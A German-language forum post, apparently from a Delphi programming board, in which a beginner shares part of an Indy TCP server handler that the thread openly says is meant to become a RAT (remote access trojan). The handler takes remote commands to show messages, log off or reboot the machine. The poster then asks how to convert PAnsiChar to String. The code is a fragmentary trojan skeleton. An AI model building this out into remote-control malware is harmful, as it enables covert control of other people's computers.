@sharky
Zitat:
...soll eigentlich ein rat werden...
das sollte deine Frage beantworten...
@bungeebug
Bin noch Newbie hab nicht recht gewusst wie ich es anstellen soll, habs jetzt aber so gelöst:
Code:
procedure TForm1.IdTCPServer1Execute(AThread: TIdPeerThread);
var m,u,param,o,p:string;
label st,lol,cht,ever,ende,
url,n1,n2;
var reg:tregistry;
sSite: String;
begin
m := aThread.Connection.Readln;
if m='n' then
begin
u := aThread.Connection.Readln;
showmessage(u);
end
else
if m='log' then
begin
ExitWindowsEx(EWX_LOGOFF, 0);
end
else
if m='new' then
begin
ExitWindowsEx(EWX_REBOOT, 0);
end
usw. usw............................
Habe aber noch ein Problem , wenn ich die Message als "MessageBox" rausgeben lassen will, kommt bei mir imer fehler - Inkompatible Typen... ( Pansichar und String)....
Wie bekomm ich Pansichar in einen String??